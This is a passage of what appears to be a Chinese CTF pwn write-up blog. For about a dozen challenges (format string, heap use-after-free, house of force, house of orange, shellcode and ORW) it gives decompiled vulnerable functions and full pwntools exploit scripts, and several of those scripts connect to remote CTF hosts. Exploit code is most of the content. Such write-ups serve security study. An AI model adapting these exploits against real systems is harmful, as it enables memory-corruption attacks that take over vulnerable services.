libc.address=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x3c4b20-0x58
info("libc.address"+hex(libc.address))
add_chunk('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70)#2
delete_chunk(1)
add_chunk('/bin/sh\x00', '/bin/sh\x00', 'd'*0x70)#3
#
payload=p64(0)+p64(0x21)+p64(libc.sym['__free_hook']-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8
# payload1 = p64(0x21)+p64(0x21)
edit_chunk(0,payload)
system_addr = libc.sym['system']
edit_chunk(3,p64(system_addr)+p64(0)*13)
gdb.attach(io)

delete_chunk(1)
# gdb.attach(io)

io.interactive()
#struct.error: 'Q' format requires 0 <= number <= 报错大概率是libc的问题

黄鹤杯:aipwn

这个题目时要给非常简单的栈迁移这里就不多说了

上文件和wp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int vuln()
{
  _BYTE s[44]; // [esp+8h] [ebp-30h] BYREF

  memset(s, 0, 0x28u);
  read(0, s, 0x38u);
  printf("%s", s);
  printf("Maybey AI will help you getshell");
  read(0, s, 0x38u);
  return printf("%s", s);
}

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *


io = process("/home/fofa/AIPWN")
elf = ELF("/home/fofa/AIPWN")
gdb.attach(io)

io.sendafter("Welcome to the AI world","a"*0x38)

io.recvuntil("a"*0x38)
stack = u32(io.recv(4))
success("stack:"+hex(stack))
# level_ret = 0x8048631
# ret = 0x0804837a
#
# exp = p32(ret)+p32(0x0804837a) + p32(elf.plt["system"]) + p32(elf.plt["system"]) + p32(stack-0x48+4) + b"/bin/sh\x00"
# payload = exp.ljust(0x30,b"A") + p32(stack-0x54)+p32(0x8048631)*2
# gdb.attach(io)
# io.send(payload)

io.interactive()

[SDCTF 2022]Oil Spill

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[312]; // [rsp+10h] [rbp-140h] BYREF
  unsigned __int64 v5; // [rsp+148h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("%p, %p, %p, %p\n", &puts, &printf, s, temp);
  puts("Oh no! We spilled oil everywhere and its making everything dirty");
  puts("do you have any ideas of what we can use to clean it?");
  fflush(stdout);
  fgets(s, 300, stdin);
  printf(s);
  puts(x);
  fflush(stdout);
  return 0;
}

这里我先写上的一个比较简单的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level="debug")
# io=remote('node5.anna.nssctf.cn',25618)
io = process("/home/fofa/OilSpill")
elf=ELF('/home/fofa/OilSpill')
io.recvuntil("0x")
puts_addr=int(io.recv(12),16)
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr - libc.dump('puts')
system_addr=libc_base + libc.dump('system')
payload=fmtstr_payload(8,{elf.got['puts']:system_addr,0x600C80:b'/bin/sh\x00'})
print(payload)
payload1 = 
io.sendlineafter("it?",payload)
io.interactive()

这里我们使用手写payload,这里的payload是一个思路和尝试

1
2
payload1 =b'%'+bytes(str(system_addr & 0xffff), "utf-8")+b'c%10$hnaaa'+ p64(elf.got['puts'])
'''这里是对puts函数的低两位的数据进行一个更改'''

gdb调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
00:0000│ rsp 0x7ffda7e80200 —▸ 0x7ffda7e80478 —▸ 0x7ffda7e82392 ◂— '/home/fofa/OilSpill'
01:0008│-148 0x7ffda7e80208 ◂— 0x1bdaf4e77
02:0010│ rdi 0x7ffda7e80210 ◂— 0x2563303436343325 ('%34640c%')
03:0018│-138 0x7ffda7e80218 ◂— 0x6161616e68243031 ('10$hnaaa')
04:0020-130 0x7ffda7e80220 —▸ 0x600c18 —▸ 0x7ce5bd887be0 (puts) ◂— endbr64 
05:0028-128 0x7ffda7e80228 ◂— 0xa /* '\n' */
06:0030-120 0x7ffda7e80230 ◂— 0x1100000
07:0038-118 0x7ffda7e80238 ◂— 0x40 /* '@' */


00:0000│ rsp 0x7ffda7e80200 —▸ 0x7ffda7e80478 —▸ 0x7ffda7e82392 ◂— '/home/fofa/OilSpill'
01:0008-148 0x7ffda7e80208 ◂— 0x1bdaf4e77
02:0010-140 0x7ffda7e80210 ◂— 0x2563303436343325 ('%34640c%')
03:0018-138 0x7ffda7e80218 ◂— 0x6161616e68243031 ('10$hnaaa')
04:0020│-130 0x7ffda7e80220 —▸ 0x600c18 —▸ 0x7ce5bd888750 (setvbuf+512) ◂— jmp setvbuf+356
05:0028│-128 0x7ffda7e80228 ◂— 0xa /* '\n' */
06:0030│-120 0x7ffda7e80230 ◂— 0x1100000
07:0038│-118 0x7ffda7e80238 ◂— 0x40 /* '@' */

[HUBUCTF 2022 新生赛]singout

这里我们查看题目发现这个题目就只有一个nc没有附件因此我们直接查看这个文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Here is your shell !,get you flag
root@pwn:~# ls
flag.txt
signout
start.sh
root@pwn:~# tac start.sh
root@pwn:~# sh: 1: start.sh: not found
root@pwn:~# tac ./*
root@pwn:~# ./flag.txt: 1: ./flag.txt: NSSCTF{b19ac267-379c-4290-9980-6d70ba63cee8}: not found
root@pwn:~# 

[HGAME 2023 week1]simple_shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);
  puts("Please input your shellcode:");
  read(0, (void *)0xCAFE0000LL, 0x10uLL);
  sandbox();
  MEMORY[0xCAFE0000]();
  return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0004
 0002: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0004
 0003: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 
 [*] '/home/fofa/simple_shellcode/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

这里我们就可以知道大部分的信息已经够我们写了,这里我们的思路就非常的明确了1.orw获取flag,2.需要一个read函数

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
io = remote("node5.anna.nssctf.cn",22072)
# io = process("/home/fofa/simple_shellcode/vuln")

shellcode1=asm('''
mov rdi,rax;
mov rsi,0xCAFE0010;
syscall;
nop;
 ''')

io.sendafter("Please input your shellcode:\n",shellcode1)
shellcode2= asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
 ''')

io.send(asm(shellcraft.cat("./flag")))
print(io.recv())
print(io.recv())

[TQLCTF 2022]unbelievable write

这里我们查看文件的数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      write(1, "> ", 2uLL);
      v3 = read_int();
      if ( v3 != 3 )
        break;
      c3();
    }
    if ( v3 > 3 )
    {
LABEL_10:
      puts("wrong choice!");
    }
    else if ( v3 == 1 )
    {
      c1();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_10;
      c2();
    }
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
unsigned __int64 c3()
{
  int fd; // [rsp+Ch] [rbp-54h]
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( target != 0xFEDCBA9876543210LL )
  {
    puts("you did it!");
    fd = open("./flag", 0, 0LL);
    read(fd, buf, 0x40uLL);
    puts(buf);
    exit(0);
  }
  puts("no write! try again?");
  return __readfsqword(0x28u) ^ v3;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void c2()
{
  __int64 v0; // rbx
  int v1; // eax

  if ( golden == 1 )
  {
    golden = 0LL;
    v0 = ptr;
    v1 = read_int();
    free((void *)(v0 + v1));
  }
  else
  {
    puts("no!");
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void c1()
{
  unsigned int size; // [rsp+4h] [rbp-Ch]
  void *size_4; // [rsp+8h] [rbp-8h]

  size = read_int();
  if ( size <= 0xF || size > 0x1000 )
  {
    puts("no!");
  }
  else
  {
    size_4 = malloc(size);
    readline((__int64)size_4, size);
    free(size_4);
  }
}

这里我们知道了几个这里几个数据的要给工作原理因此分析一下这个漏洞点

c1:出现了一个malloc的创建size要大于0xf小于0x1000并且创建完成以后会立马free这个chunk

c2:是一个free函数并且存在一个uaf的一个溢出因此我们可以暂时使用这个数据,并且他的free值是通过ptr的数据进行要给偏移量的技术的所以我们这里出现了一个文件溢出的漏洞

c3:这里是一个baekboor的要给漏洞函数要求是target的数据不能和这个相等因此我们就可以通过修改target来进行一个文件的一个获取了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
p = remote("node4.anna.nssctf.cn",28150)
# p = process("/home/fofa/bin/pwn")
context.log_level = "debug"
binary = ELF('/home/fofa/bin/pwn')

target = 0x404080

def backdoor():
    p.sendlineafter("> ","3")

def add(size,content):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.sendline(str(size).encode())
    p.sendline(content)

def free(position):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.sendline(str(position).encode())

#
free('-0x290')
# gdb.attach(p)
add(0x280,b'\x00'*0x10+b'\x01'+b'\x00'*0x6f+p64(0)*8+p64(binary.got['free']))

add(0x90,p64(binary.plt['puts']))#overwrite free got-->puts plt

add(0x280,b'\x00'*0x10+b'\x01'+b'\x00'*0x6f+p64(0)*8+p64(target))
add(0x90,"aaaa")#overwrite target to get flag

backdoor()

p.interactive()

思路就是控制文件的一个控制块来进行一个控制

gyctf_2020_some_thing_interesting

这里我们还是一个题目同样也是一个比较简单的题目这里我们直接上代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-14h] BYREF
  void *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3 = 0;
  memset(s, 0, 0x14uLL);
  sub_B10();
  s = (void *)sub_B7A();
  sub_C6A();
  while ( 1 )
  {
    printf("> Now please tell me what you want to do :");
    _isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 0:
        sub_D3D(s);
        break;
      case 1:
        sub_DCB();
        break;
      case 2:
        sub_112C();
        break;
      case 3:
        sub_130A();
        break;
      case 4:
        sub_142B();
        break;
      case 5:
        sub_D10();
      default:
        puts("Emmmmmm!Maybe you want Fool me!");
        sub_D10();
    }
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 __fastcall sub_D3D(const char *a1)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( dword_202010 )
  {
    puts("Now you are ....?");
    printf("# Your Code is ");
    printf(a1);
    putchar(10);
    puts("###############################################################################");
  }
  else
  {
    puts("Now you are Administrator!");
  }
  return __readfsqword(0x28u) ^ v2;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
unsigned __int64 sub_DCB()
{
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#     Create Oreo     #");
  puts("#---------------------#");
  for ( i = 1;
        i <= 9 && *((_QWORD *)&unk_2020E0 + i) && qword_202140[i] && *((_QWORD *)&unk_2021A0 + i) && qword_202080[i];
        ++i )
  {
    if ( i == 9 )
    {
      puts("#    so much Oreo!    #");
      puts("#######################");
      return __readfsqword(0x28u) ^ v2;
    }
  }
  printf("> O's length : ");
  _isoc99_scanf("%ld", &qword_202140[i]);
  if ( qword_202140[i] <= 0 || qword_202140[i] > 112 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    sub_D10();
  }
  *((_QWORD *)&unk_2020E0 + i) = malloc(qword_202140[i]);
  printf("> O : ");
  read(0, *((void **)&unk_2020E0 + i), qword_202140[i]);
  printf("> RE's length : ");
  _isoc99_scanf("%ld", &qword_202080[i]);
  if ( qword_202080[i] <= 0 || qword_202080[i] > 112 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    sub_D10();
  }
  printf("> RE : ");
  *((_QWORD *)&unk_2021A0 + i) = malloc(qword_202080[i]);
  read(0, *((void **)&unk_2021A0 + i), qword_202080[i]);
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 sub_112C()
{
  signed int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#     Modify Oreo     #");
  puts("#---------------------#");
  printf("> Oreo ID : ");
  _isoc99_scanf("%d", &v1);
  if ( (unsigned int)v1 > 0xA
    || !*((_QWORD *)&unk_2020E0 + v1)
    || !qword_202140[v1]
    || !*((_QWORD *)&unk_2021A0 + v1)
    || !qword_202080[v1] )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    sub_D10();
  }
  printf("> O : ");
  read(0, *((void **)&unk_2020E0 + v1), qword_202140[v1]);
  printf("> RE : ");
  read(0, *((void **)&unk_2021A0 + v1), qword_202080[v1]);
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 sub_130A()
{
  signed int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#     Delete Oreo     #");
  puts("#---------------------#");
  printf("> Oreo ID : ");
  _isoc99_scanf("%d", &v1);
  if ( (unsigned int)v1 > 0xA || !*((_QWORD *)&unk_2020E0 + v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    sub_D10();
  }
  free(*((void **)&unk_2020E0 + v1));
  free(*((void **)&unk_2021A0 + v1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 sub_142B()
{
  signed int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#      View Oreo      #");
  puts("#---------------------#");
  printf("> Oreo ID : ");
  _isoc99_scanf("%d", &v1);
  if ( (unsigned int)v1 > 0xA || !*((_QWORD *)&unk_2020E0 + v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    sub_D10();
  }
  printf("# oreo's O is %s\n", *((const char **)&unk_2020E0 + v1));
  printf("# oreo's RE is %s\n", *((const char **)&unk_2021A0 + v1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
char *sub_B7A()
{
  memset(s1, 0, 0x14uLL);
  puts("#######################");
  puts("#       Surprise      #");
  puts("#---------------------#");
  printf("> Input your code please:");
  read(0, s1, 0x13uLL);
  if ( strncmp(s1, "OreOOrereOOreO", 0xEuLL) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    exit(0);
  }
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return s1;
}

这里的几个结构就是我们大概的一个逻辑因此我们就直接上思路

1.上的free模块中还是纯在着一个uaf的错误,因此我们可以使用这个问题对其进行一个攻击

2.在sub_b7a这个文件模块中我们看到他需要一个密码才能进行一个运行下面的代码

3.在输入0以后他会传入我们s数据来进行一个输出这里出现了一个格式化字符串的泄露

剩下的就是攻击了

这里直接上exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level='debug'
io = remote("node5.buuoj.cn",27781)
# io = process("/home/fofa/gyctf_2020_some_thing_interesting")
# libc = ELF("/home/fofa/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
libc = ELF("/home/fofa/buulibc/libc-2.23-64.so")
def add(size1, content1, size2, content2):
    io.recvuntil("#######################\n")
    io.sendline('1')
    io.recvuntil("> O's length : ")
    io.sendline(str(size1))
    io.recvuntil("> O : ")
    io.send(content1)
    io.recvuntil("> RE's length : ")
    io.sendline(str(size2))
    io.recvuntil("> RE : ")
    io.send(content2)


def delete(index):
    io.recvuntil("#######################\n")
    io.sendline('3')
    io.recvuntil("> Oreo ID : ")
    io.sendline(str(index))


def show(index):
    io.recvuntil("#######################\n")
    io.sendline('4')
    io.recvuntil("> Oreo ID : ")
    io.sendline(str(index))


def edit(index, content1, content2):
    io.recvuntil("#######################\n")
    io.sendline('2')
    io.recvuntil("> Oreo ID : ")
    io.sendline(str(index))
    io.recvuntil("> O : ")
    io.sendline(content1)
    io.recvuntil("> RE : ")
    io.sendline(content2)

io.recvuntil("> Input your code please:")
io.sendline("OreOOrereOOreO%17$p")

io.sendlineafter("> Now please tell me what you want to do :",'0')
io.recvuntil("# Your Code is OreOOrereOOreO")
io.recvuntil("0x")

start_main = int(io.recv(12),16)-0xf0-libc.sym['__libc_start_main']
info("libc.address:"+hex(start_main))
libc.address = start_main
malloc_hook = libc.sym['__malloc_hook']
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

add(0x68,'aaaa',0x68,'aaaa')#1
delete(1)
# gdb.attach(io)
edit(1,b'\x00'*0x8,p64(malloc_hook-0x23))
one_gadget = libc.address+one_gadget_16[3]
payload=b'a'*(0x13)+p64(one_gadget)
add(0x68,b'a'*8,0x68,payload)

io.recvuntil("#######################\n")
io.sendline('1')
io.recvuntil("> O's length : ")
io.sendline(str(0x68))

# gdb.attach(io)

io.interactive()

linkctf_2018.7_babypie

这个题目也是一个非常简单的题目了

这里直接上ida反编译,其他的思路就直接上代码了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
__int64 sub_960()
{
  _QWORD buf[6]; // [rsp+0h] [rbp-30h] BYREF

  buf[5] = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  memset(buf, 0, 32);
  puts("Input your Name:");
  read(0, buf, 0x30uLL);
  printf("Hello %s:\n", (const char *)buf);
  read(0, buf, 0x60uLL);
  return 0LL;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
context.log_level='debug'
io = process("/home/fofa/babypie")
# io = remote("node5.buuoj.cn",28562)
payload = b'a' * 41
io.sendafter("Input your Name:",payload)
io.recvuntil("a" * 0x29)
canary =u64(io.recv(7).ljust(8,b'\x00'))<<8
# gdb.attach(io)
info("canary"+hex(canary))
gdb.attach(io)
payload= b'a' *40 + p64(canary) + p64(0) + b'\x42'
io.send(payload)

io.interactive()

总结这是一个非常简单的pie覆盖ret地址的最有一个字节

houseoforange_hitcon_2016

这个题目思路就是非常明确了需要时候house of orenge来完成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn  import *
import functools
sh = remote("node5.buuoj.cn",28248)
# sh = process("/home/fofa/houseoforange_hitcon_2016")
LOG_ADDR = lambda x, y: log.success('{} ===> {}'.format(x, hex(y)))
int16 = functools.partial(int, base=16)
context.arch="amd64"
context.os="linux"
context.endian="little"

main_arena_offset = 0x3c4b20

libc = ELF("/home/fofa/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")

def build_house(length:int, name, price:int=0xff, color:int=1):
    sh.sendlineafter("Your choice : ", "1")
    sh.sendlineafter("Length of name :", str(length))
    sh.sendafter("Name :", name)
    sh.sendlineafter("Price of Orange:", str(price))
    sh.sendlineafter("Color of Orange:", str(color))
    sh.recvuntil("Finish\n")

def see_house():
    sh.sendlineafter("Your choice : ", "2")
    name_msg = sh.recvline_startswith("Name of house : ")
    price_msg = sh.recvline_startswith("Price of orange : ")
    log.success("name_msg:{}\nprice_msg:{}".format(name_msg, price_msg))
    return name_msg, price_msg


def upgrade_house(length:int, name, price:int=0xff, color:int=1):
    sh.sendlineafter("Your choice : ", "3")
    sh.sendlineafter("Length of name :", str(length))
    sh.sendafter("Name:", name)
    sh.sendlineafter("Price of Orange: ", str(price))
    sh.sendlineafter("Color of Orange: ", str(color))
    sh.recvuntil("Finish\n")

build_house(0x10, "aaaa")

# change the size of top_chunk to 0xfa1
upgrade_house(0x100, b"a" * 0x38 + p64(0xfa1))

# house of orange
build_house(0x1000, "cccc")

# leak addr
build_house(0x400, b"a" * 8)
msg, _ = see_house()
leak_libc_addr = msg[0x18: 0x18+6]
leak_libc_addr = u64(leak_libc_addr.ljust(8, b"\x00"))

LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - main_arena_offset - 1640
LOG_ADDR("libc_base_addr", libc_base_addr)
io_list_all_addr = libc_base_addr + libc.sym["_IO_list_all"]

upgrade_house(0x10, "a" * 0x10)
msg, _ = see_house()
heap_addr = msg[0x20:0x26]
heap_addr = u64(heap_addr.ljust(8, b"\x00"))
LOG_ADDR("heap_addr", heap_addr)

payload = flat(p64(0) * 3 + p64(libc_base_addr + libc.sym["system"]),
                0x400 * "\x00",
                "/bin/sh\x00",
                0x61,
                0,
                io_list_all_addr-0x10,
                0,
                0x1,  # _IO_write_ptr
                0xa8 * b"\x00",
                heap_addr+0x10
                )
upgrade_house(0x600, payload)
sh.sendlineafter("Your choice : ", "1")
sh.interactive()

[BSidesCF 2019]Runit

这个是一个简单的shellcode题目

1
2
3
4
5
from pwn import *

io = remote("node5.buuoj.cn",29181)
io.send(asm(shellcraft.sh()))
io.interactive()

gyctf_2020_force

这个题目就是要给比较普通的house of force这里我们先上exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

r = remote("node5.buuoj.cn", 25985)
#r = process("./gyctf_2020_force")

context.log_level = 'debug'

elf = ELF("/home/fofa/gyctf_2020_force")
libc = ELF('/home/fofa/buulibc/libc-2.23-64.so')

one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size, content):
	r.recvuntil("2:puts\n")
	r.sendline('1')
	r.recvuntil("size\n")
	r.sendline(str(size))
	r.recvuntil("bin addr ")
	addr = int(r.recvuntil('\n').strip(), 16)
	r.recvuntil("content\n")
	r.send(content)
	return addr


def show(index):
	r.recvuntil("2:puts\n")
	r.sendline('2')

libc.address = add(0x200000, 'chunk0\n') + 0x200ff0
success('libc_base'+hex(libc.address))

heap_addr = add(0x18, b'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))
success("heap_addr:"+hex(heap_addr))

top = heap_addr + 0x10
#gdb.attach(r)

malloc_hook = libc.sym['__malloc_hook']
success("malloc_hook"+hex(malloc_hook))
one_gadget = one_gadget_16[1] + libc.address
realloc = libc.sym["__libc_realloc"]
offset = malloc_hook - top
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').__next__()
success("system:" + hex(system))
success("bin_sh" + hex(bin_sh))


add(offset-0x30, 'aaa\n')
add(0x10, b'a'*8+p64(one_gadget)+p64(realloc+0x10))

r.recvuntil("2:puts\n")
r.sendline('1')
r.recvuntil("size\n")
r.sendline(str(20))

r.interactive()

接下来就是原理了也是非常简单就是通过堆溢出把size的大小改大是的我们可以绕过用户请求的大小和topchunk现有size的一个验证

所有我们的一个思路也是非常简单就是通过获取libc,heap地址来获取到了malloc和top的一个地址来得到要给偏移这里的偏移就是 目标文件-topchunk地址-0x10对齐-返回地址,得到的一个偏移然后根据题目来更改,获取到目标的一个手法

这里主要是使用要给malloc来进行

bjdctf_2020_YDSneedGrirlfriend

其实这个题目也是非常简单的一个思路了这里直接上exp了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context.log_level='debug'
# io = process("/home/fofa/bjdctf_2020_YDSneedGrirlfriend")
io = remote("node5.buuoj.cn",26282)
def add_chunk(size, content):
    io.sendlineafter("Your choice :",'1')
    io.sendlineafter("Her name size is :",str(size))
    io.sendlineafter("Her name is :", content)

def deleter_chunk(idx):
    io.sendlineafter("Your choice :", '2')
    io.sendlineafter("Index :", str(idx))

def show_chunk(idx):
    io.sendlineafter("Your choice :", '3')
    io.sendlineafter("Index :", str(idx))

add_chunk(0x20,'aa')
add_chunk(0x20,'bb')

deleter_chunk(0)
deleter_chunk(1)

add_chunk(0x10,p64(0x0400B9C))
show_chunk(0)
# gdb.attach(io)
io.interactive()

这里我们我们题目就是通过堆风水来控制一个chunk0的控制块,并且它存在一个uaf因此我们通过show来查看chunk0的数据因此就可以给他放到backdoor

bcloud_bctf_2016

这个题目也是比较好玩的这里线上ida的汇编

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
unsigned int sub_80487A1()
{
  char s[64]; // [esp+1Ch] [ebp-5Ch] BYREF
  char *v2; // [esp+5Ch] [ebp-1Ch]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  memset(s, 0, 0x50u);
  puts("Input your name:");
  sub_804868D(s, 64, 10);
  v2 = (char *)malloc(0x40u);
  dword_804B0CC = (int)v2;
  strcpy(v2, s);
  sub_8048779(v2);
  return __readgsdword(0x14u) ^ v3;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int sub_804884E()
{
  char s[64]; // [esp+1Ch] [ebp-9Ch] BYREF
  char *v2; // [esp+5Ch] [ebp-5Ch]
  char v3[68]; // [esp+60h] [ebp-58h] BYREF
  char *v4; // [esp+A4h] [ebp-14h]
  unsigned int v5; // [esp+ACh] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  memset(s, 0, 0x90u);
  puts("Org:");
  sub_804868D((int)s, 64, 10);
  puts("Host:");
  sub_804868D((int)v3, 64, 10);
  v4 = (char *)malloc(0x40u);
  v2 = (char *)malloc(0x40u);
  dword_804B0C8 = (int)v2;
  dword_804B148 = (int)v4;
  strcpy(v4, v3);
  strcpy(v2, s);
  puts("OKay! Enjoy:)");
  return __readgsdword(0x14u) ^ v5;
}

上面的这两个函数我们可以知道我们这里可以通过strcpy进行一个多一个字节数据因此我们可以通过这个offbyone进行一个溢出这里我们就可以泄露数据heap数据出来,接下来我们可以通过house of force进行要给堆地址的一个迁移,迁移到堆的bins大块中就可以控制整个堆块了,这里我们申请出0x804B120这个地址中所有堆块,最后我们可以控制这个bins中的任何一个free数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *


context.log_level='debug'
# io = process("/home/fofa/bcloud_bctf_2016")
elf = ELF("/home/fofa/bcloud_bctf_2016")
libc = ELF("/home/fofa/buulibc/libc-2.23-32.so")
io = remote("node5.buuoj.cn",29264)
def add_chunk(size, content):
    io.sendlineafter('option--->>\n', '1')
    io.sendlineafter("Input the length of the note content:\n", str(size))
    io.sendlineafter("Input the content:\n", content)
    io.recvline()

def exit_chunk(idx, content):
